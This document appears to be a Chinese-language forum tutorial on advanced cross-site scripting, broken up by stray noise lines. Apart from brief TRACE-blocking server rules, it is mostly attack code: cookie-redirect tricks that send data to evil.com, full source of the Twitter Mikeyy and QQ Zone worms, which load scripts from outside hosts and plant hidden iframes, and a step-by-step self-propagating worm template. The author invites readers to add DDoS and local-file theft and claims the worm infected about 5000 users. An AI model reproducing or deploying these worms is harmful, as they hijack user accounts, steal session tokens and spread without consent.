8 A$ L: R4 \% G7 L5 ^* _
RewriteRule .* - [F]
5 d  n! b$ [3 _6 P/ Y


Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
! F: n* R) C# c  s2 S0 ?
acl TRACE method TRACE

/ j; {# G, L( e...

http_access deny TRACE
3 ?7 e, W4 w# m2 O. D% a* d复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

4 _1 Q$ I3 q0 Bvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# J2 n# S. e) ~% k
XmlHttp.open("GET","http://www.google.com",false);
! b5 @! C6 _$ u
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
) l3 o, ~% b! n
) E7 l8 A) v2 dXmlHttp.send(null);

0 J, E# B: h7 Y' a( j</script>
" c- ?  t* x. q8 \7 w8 W/ x复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
8 i9 S, N, f  k' u1 ?
6 M: k! K: f8 p8 _7 Kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
( e. q+ z8 w& {% J0 `! \$ ?
, w" S) y/ y/ _  i9 P

2 [/ I5 ]6 b8 R' L3 U, D0 k8 @XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
& j& j  R/ l9 F) u3 z0 P; s+ P: ~5 }复制代码案例:Twitter 蠕蟲五度發威
. Y0 s3 k: C/ j$ O9 C6 m第一版:
- c0 f6 ^" F) s& x. O; Z  下载 (5.1 KB)
0 v, \1 h- E) G) m
6 天前 08:27
$ r3 o4 n, k$ L0 f
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

   3. function XHConn(){  
' R1 ^/ b1 p7 @: ]
+ W: t. X6 m9 O. B5 U2 l/ o   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

, Y! s+ ?3 y- Q9 Y; D7 ~4 S   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
  ]# B0 L& N: }0 ~# E" p
: J3 o& a& [8 D  i1 e   8.   catch(e) { _0x6687x2=false; }; }; };  
" y( {$ O6 {  B8 \* @, F复制代码第六版:   1. function wait() {  
. E, g6 a# Y5 h) k
   2.   var content = document.documentElement.innerHTML;  
" y+ F7 J0 t# z
" P" E( E7 n% {/ `6 |5 t# J5 Y8 j7 o  f   3.   var tmp_cookie=document.cookie;  
5 J- w$ Y% v" l3 ]  e
, X' \2 o' R/ I$ R% ?   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
/ i! t& _+ l- d  s2 S
   8.   var randomUpdate= new Array();  
/ L5 T" [3 g5 ?% m4 l. o7 c% y  U
$ t- S- j( A) l( m) D2 a   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

$ h: c1 {8 ^0 V) o  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

7 @& b. Q: L& _$ w& V  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
1 ]$ V# b$ E! c. h0 `/ A+ X
* H2 _1 A6 S) c1 K3 z- W, F  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

; m/ t5 Y% a' J4 i1 t  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
) m7 Z; d: E9 O5 u8 ^/ M
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
8 J6 ^- G; f/ l, U2 H
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
$ Y( s# N$ x$ G" W- v
$ D7 @$ Y; j( y7 _( T! d7 I9 ^6 \  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

9 Z& v( S* X. o1 L$ Q, A  g% y  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
- o( O$ |" \! ]
  24.     
" O. Q& ]  x8 F. }
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

3 u- w, ]- Q: X# ~: A0 w( X: P  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
( w5 {+ _! r& Y0 Y# V
  28.   var ajaxConn= new XHConn();  

& U, d+ a/ R" k+ `% r  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
3 z3 [7 y2 }# _  W; z3 H
  32.   var ajaxConn1= new XHConn();  
: g6 |5 P0 I6 f' r0 Z
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
% {& r' o0 G( I! _8 g, @- `9 b
- P$ p; _6 L- J7 U  35.   var XSS=urlencode(genXSS);  
) z9 F! @3 s3 S; M' V
  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
" T4 u6 i! T8 ]  \3 E
  38.     
7 f4 H6 R6 J: ^: |' b
  39. } ;  

  40. setTimeout(wait(),5250);  
- B0 P8 M6 W4 ?. }# p, _) {; w复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


: i8 E( R+ z6 e
# r# k/ P' J# c' Bvar shendu;shendu=4;
7 X. O7 s* G) J  j/ }
//---------------global---v------------------------------------------

! j3 q0 n1 L7 r: S//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

& s9 N3 {4 s  u$ t( t2 gvar myblogurl=new Array();var myblogid=new Array();

+ {- e+ c. v) d/ F& G1 e        var gurl=document.location.href;

, Q& H0 O7 \! z, u        var gurle=gurl.indexOf("com/");
4 s: k" F. \" J0 G
        gurl=gurl.substring(0,gurle+3);        

5 j1 X7 Q( X: S& v& K; O        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
7 J9 E- R1 R7 _% P, Y: M9 D
        visitorID=visitorID.substring(cookieS+14);

* l/ m+ n5 v/ [" ]3 n* t        cookieS=visitorID.indexOf(",");

: {0 r0 `# O2 n5 Y6 l# Q7 V        visitorID=visitorID.substring(0,cookieS);
( ?: O/ ]$ h& V7 X0 }/ O
        get_my_blog(visitorID);

( J. V4 u- \5 \0 q! |9 `6 z        DOshuamy();
  k: ?* }5 b% h$ k* w: K% [& v

: q' T& v( U/ b$ D# P
//挂马

function DOshuamy(){
* D, k3 z9 u  O
) K5 e0 f4 C& k- ^0 S% m1 B' avar ssr=document.getElementById("veryTitle");
5 E, |' f. M' x9 `$ g
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

3 w0 B( W$ n& N}
9 n/ z" s8 z1 j" Q6 [' O/ b
' e' _" x  O/ V7 t( ?
* R- E8 M  S5 J  E
! x& ^$ X$ D6 K. d. n//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
% |* Q: P) a8 w( r; W3 X
, \) V+ F) @% O! X' |   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
: m" M2 f. n: _& p/ y2 {8 ~" A7 I
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
% y: v+ q- i/ g
   if(xhr){    //成功就执行下面的
4 `$ f( ~' X- G/ ?! {& j
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
$ {; ?$ M+ z# T8 r
) r, C7 I4 H9 Q5 {. V     xhr.send();guest=xhr.responseText;

/ e% b3 t# s8 l  b     get_my_blogurl(guest);    //执行这个函数
2 y$ S% u9 Y1 k# S1 D% ]
    }
( R& Q6 [: C7 m  w
6 ?& [8 R. o. J; F! p0 z# Q}
0 }  L7 l6 S/ [4 |
# o2 P! J+ C6 f7 `
2 }7 R% `: c1 g  P
//这里似乎是判断没有登录的
  }  }: K; @( P" [6 g4 K# u9 L$ u
function get_my_blogurl(guest){

  var mybloglist=guest;

7 \1 [& v/ F" \: M/ I% t  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
5 g, V1 n$ @& D* P( _+ ?5 K
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

! {7 I0 b5 H4 F" b2 H& u. X, M     if(myurls!=-1){    //找到了就执行下面的
& y$ ?/ l0 }6 g$ @
         mybloglist=mybloglist.substring(myurls+11);

5 D- E* R, A8 Z( g3 C         myurls=mybloglist.indexOf(')');

; D2 h8 I& S: J         myblogid=mybloglist.substring(0,myurls);

: ^4 l0 Z4 C- H* {0 ~+ v" @- |) i        }else{break;}
( N+ k9 A. ^1 g. M2 C
}
0 i+ @2 ?# `7 L; D
get_my_testself();    //执行这个函数

- [9 C& @/ n/ E+ \}
  J' q4 w$ A& o
0 ?5 [$ F  m$ _

) Q5 i  o! q7 q: Q  t//这里往哪跳就不知道了
4 `5 i+ c! |$ b8 W( a! `3 T
function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
: v' G4 T5 n: b2 r! I, u
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
, h3 M' d9 H% |0 {
              xhr2.open("GET",url,false);     //打开上面的那个url
& \  S* W  X+ p( z5 Q
              xhr2.send();

2 s. C9 [/ a" d3 V              guest2=xhr2.responseText;

' u1 H- q: Z2 y' C$ b              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
% q3 F: A# f  n$ s
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
; z# f7 W: |$ `1 ?# p  L
7 f, J: b7 u/ I                targetblogurlid=myblogid;   
5 G8 h% J' }6 s# s  S
/ p6 i( J' Q% q1 b$ [3 J                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
: f! z% W, e# x! @9 U6 S! g' `* b1 e
                break;

               }
0 h- H+ z# s/ B6 w5 x
7 ?# \& q% j9 Y! ^- h5 @              if(mycheckit=="-1"){
0 {; ~3 D: E% r! p+ s( U
                targetblogurlid=myblogid;
2 s' V1 P# ~; f* ~6 a* F2 ~2 R
% ~( i" p& N6 K1 T* V                add_js(visitorID,targetblogurlid,gurl);    //执行它
% @5 r- w* [6 ]" F6 r$ I
                break;

               }
( i5 `( _" N/ }
8 h) G! E0 n$ I8 X- l) [) a        }      
+ k& E8 n) \, S& g0 k/ W
}
$ C1 I# d) y+ b0 v9 R5 r( p4 Z0 ^3 C
9 t0 G5 d4 Z0 ?/ H3 |. s}



//--------------------------------------  
; i2 }: E: v0 Y
//根据浏览器创建一个XMLHttpRequest对象
6 B! ?0 M3 N& i+ F- _2 X+ u
function createXMLHttpRequest(){
, h  e% }/ I& ~
    var XMLhttpObject=null;  
6 \) F+ W6 r* p7 I0 O
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
- c* a2 q$ \3 z) X* |+ {+ d
    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
3 D8 V: {: `/ @( P3 v  \( z
        for(var i=0;i<MSXML.length;i++)  
/ G+ C; _: d, ~/ i
. X9 u: ?: l* l' U( `1 @* G        {  

+ o- C7 t! Y* n% G+ p7 R            try  

            {  
! }1 v3 r3 F6 o5 C; [
                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
- [" C/ X) n) c- G, L
            }  
- _+ f  Q! ]2 t- f; Z& }$ c
            catch (ex) {  

+ {  O' n. p4 m$ |3 x: \4 P' L            }  

( y& m1 @6 b$ t         }  
6 D" p9 l' |$ L: R6 }9 S
" d- A- D; C& a: S- @      }
+ \' x+ {/ p9 r# C
return XMLhttpObject;

}  
& |* ~  _$ C3 L7 D

; E6 S: ?7 G; r: ?4 e
//这里就是感染部分了

1 O, X+ J0 S* z9 @2 ]4 Zfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
& t! a! j3 f  M& U, a% R
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

) q2 e$ P6 P0 U# k8 Bdocument.getElementsByTagName('head').item(0).appendChild(s2);

. S/ `/ T  H4 u/ M- a2 h6 c) B' e}


; e/ p. B1 f/ \' T1 a" {% i: w
4 {  M/ Y4 n4 {# Y2 E3 Sfunction add_jsdel(visitorID,targetblogurlid,gurl){
" `% I8 K- D, ]3 I; e5 C
var s2=document.createElement('script');
' h9 |, {5 t$ U( X( Z- ?2 r
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

" G7 M  ~( g6 ^3 A+ ~: m0 Ydocument.getElementsByTagName('head').item(0).appendChild(s2);

6 F) ~8 K' V$ o}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
# w; }* I8 g. N$ g& M- A
; j! M% ^- k5 a5 T$ \2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
* E7 C5 Y' N; N3 R, Q$ J
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

* @- E* I' |, |, I: G
7 {5 J' e, |0 Y% b$ u: K4 e下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
3 f7 R: G# w  ]5 \; j& ?
首先,自然是判断不同浏览器,创建不同的对象var request = false;

$ L' I3 b* K- Q) ]if(window.XMLHttpRequest) {
9 y- ?; [, Z! W; g: {$ ?
( V" H% @: X# H+ @) X( T0 |request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');
) ^# V. ~# U8 s4 i0 L& ?( G' e
}

} else if(window.ActiveXObject) {

3 q0 W6 B6 v$ @% @' dvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 {5 ^1 d. F4 Y
for(var i=0; i<versions.length; i++) {
( c: S& ]6 S( y, ?$ b
" o( R0 \, z5 P( w/ ~try {
0 O- W" Z: ~- w7 U
: _$ m. p- i% k- ~- Wrequest = new ActiveXObject(versions);

} catch(e) {}
+ f4 G' q9 c8 \: {8 Q
. o& h1 E& A% x) |9 T9 m}

}
. X0 N; g& L! r4 z
& n& Z6 O8 X9 E& w. ]. k: MxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

* k1 B/ j* |! D2 H        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

4 W9 c2 c; |. L; ~) V  b        
! M( \3 I5 \' S. Z' R' P
        var Actual_Version,Actual_Name;

        
% p9 E" F/ O% u/ Z7 v5 D% b4 q# }
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");
" B$ s1 |$ x. s
3 t% A) O# R' F/ _        var is_Ch=(Browser_Name=="Chrome");

  g$ _6 `7 |7 d# S6 q        

% n- x) R3 w# e" J  D) ~% M, A        if(is_NN){
  y- H. b, I% z/ ^% r; V3 b6 V
            if(Browser_Version>=5.0){
2 a* @  \& C. B0 B5 u, T, J
3 V, V4 C- n" ]0 J                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
. V! h, Q8 \# E" U+ l+ Z
" H4 J6 D" q# j- f2 V                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
1 p9 z0 N5 i( T# v4 m1 g! \" n

6 |4 r& N& |! ]& Y( {) X3 L$ o$ x
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

2 P7 i2 x2 ]" d$ E4 t                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
, @" }! q2 b8 z4 c7 y
            }
9 S' k% [: S. K% I+ A) Q
% H) o/ W+ T: g; f. }" s/ a. z            else{

& O3 i/ Z- i( H, X3 W# a! s0 \4 L                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

            }

        }
4 M, p/ W/ {% A( Z& K( L
3 Z* M+ P; f( R4 w3 A5 b) j        else if(is_IE){

1 @+ G- @. K* E6 X            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
. r$ B; y4 f- V3 g3 D1 w
2 M$ Q* c) [  s$ }            Actual_Name=Browser_Name;

: b  M+ V2 E. s8 w+ b1 ]' m( O            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
8 d  B# a/ `! e- E7 E1 I  x
3 T" B2 S* C  t, G: s$ u4 f                Actual_Name+="(Maxthon)";

/ ^/ K) G" y: D0 H9 p/ n3 H            }
/ C" `  T" ~5 c. E" f# ?
: G7 @  w8 U  c$ n* h/ Y1 U            else if(Browser_Agent.indexOf("Opera")!=-1){
. Z2 L- E/ A5 T5 i+ K
                Actual_Name="Opera";
8 R2 N- }: A0 P/ U" L6 h( F
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
5 t: x) V8 P" x4 r9 m& @
; Z  v# G/ a0 d* i& L+ u% g' _                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
& ~8 Y) c$ X" U0 f. Z- q: G
7 c9 z, @$ J3 ?6 a        }

( S- I$ X8 V8 R. ^1 p        else if(is_Ch){
# p% P( ]' @$ o4 c) Z
            var Version_Start=Browser_Agent.indexOf("Chrome");

/ Y% v( b: X3 h& k" \            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
: H6 u, n. a  D* S# v
            if(Browser_Agent.indexOf("Maxthon")!=-1){
% t& Q+ {: ^) s% S% p
% [, X: Z: T* _. i6 g/ B- v% B                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
# p. O) M! q. g0 C
                Actual_Name="Opera";
( ]' f. q7 w2 m4 s
1 ~) T+ u* J% k: J                var tempstart=Browser_Agent.indexOf("Opera");
# u7 d% ~* b2 s9 X- R& D# r' D" }
                var tempend=Browser_Agent.length;

4 n9 n0 }5 b$ p4 O% n5 D+ D                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
) N4 G7 \8 b" D9 M5 J
4 O: j; t! q7 Y1 e            }
9 _# U' s. V0 I3 j# j7 ]5 B% R
        }

        else{

            Actual_Name="Unknown Navigator"
: x- ^0 m% v4 p
' u& j% G8 H# F* _            Actual_Version="Unknown Version"
6 P  A  ?3 U. P5 U: g5 V
        }


" E6 r8 f' I1 j; `" B# d
! E% E/ e* S0 @7 Z) \+ B+ N4 f        navigator.Actual_Name=Actual_Name;
4 `4 U9 d1 T3 V0 B* Q7 `# @8 U
        navigator.Actual_Version=Actual_Version;
& }  |8 F0 z0 O8 R% ?  }7 h
        

        this.Name=Actual_Name;
! m+ J% S" A/ K" Y% W# }0 k
        this.Version=Actual_Version;

    }

    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
$ S" v  f# S6 u
' N+ e% N8 B% [$ ]: Q    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

: P" r) ?" s: w% v) C    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

. e1 q* s9 L4 ]9 |* {0 i3 f: g    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
( d6 Q, S4 q# M  ~; h8 A4 D( i+ j$ e8 C复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
. j7 u! ?  [# V1 m6 R复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

var id=0;var result;
" N5 ?$ H# j. M/ ~5 N" y( [( J7 f
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
2 m- o. K* Q5 Q: D. c0 {
while ((result = patt.exec(resource)) != null)  {
% s- w5 U5 o3 G* O  g+ i
id++;
$ @& L# w' P- |
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

9 b+ I7 @* V% L1 v6 v0 {+ wno=resource.search(/my name is/);
. X9 s6 Y4 y0 Y! A4 N- F
+ z; ]$ z4 [5 z( @var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
2 Q( x" ^! w/ E5 k* X- U4 L  ~
var post="wd="+wd;

5 `5 m- l/ X0 R2 ~; v, gxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
4 d$ N' _; N0 V) O% S" Q# w
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
. b1 Y1 n8 [; S$ P- B% X: k
xmlHttpReq.setRequestHeader("content-length",post.length);
7 I/ a* z& V% m. ~4 }9 p1 K
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
0 i0 |5 c& c0 e8 x( u, ~, Q: C' p* ]! c& |
xmlHttpReq.send(post);
; i  N6 t4 ^  k9 M; Y
- e" ~8 F6 Z$ V7 V+ o}
* G' c* m' @, ?" T复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
; N  e, h; @" H2 z1 v# A
2 U# c: O5 G9 y% ]1 h) B0 Cvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

3 V3 J+ B0 Q3 O7 ]% A* Yvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
- H! N$ Y' E, Y- R
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
6 O. c2 ^# Q7 F+ v+ p
" g5 \1 ~% l; s/ ^6 \# A' vvar post="wd="+wd;

5 j7 p* B9 S0 S9 R* p; \  SxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
6 Q, F5 B" f9 F# h
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
, B; @3 Q1 r9 S# A1 Y2 Y( G9 Y; P# u
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

  K/ c* p5 n4 n. Z4 p- ]0 ^xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

2 m6 m7 C1 t+ X% D6 U4 J6 E) x% T2 [% k

, Z$ d9 |: `& x本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
1 ^, y: N  i, {2 U7 b8 U; m蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.



" o" ~; ~! t0 }. \0 {$ A


8 @9 c  H7 ~0 A0 }0 G$ q& T! i

本文引用文档资料:

' h; q& O# X" p* `) B1 s. r"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
: [1 B( p7 R, qOther XmlHttpRequest tricks (Amit Klein, January 2003)
7 |! l; `+ q  h! J: [: ?"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
. W( I+ o& f/ h空虚浪子心BLOG http://www.inbreak.net
/ o: U8 _# e( e* u% ]4 j1 I0 AXeye Team http://xeye.us/
( z" G7 i) S; B. y3 A$ p' Y  w- Q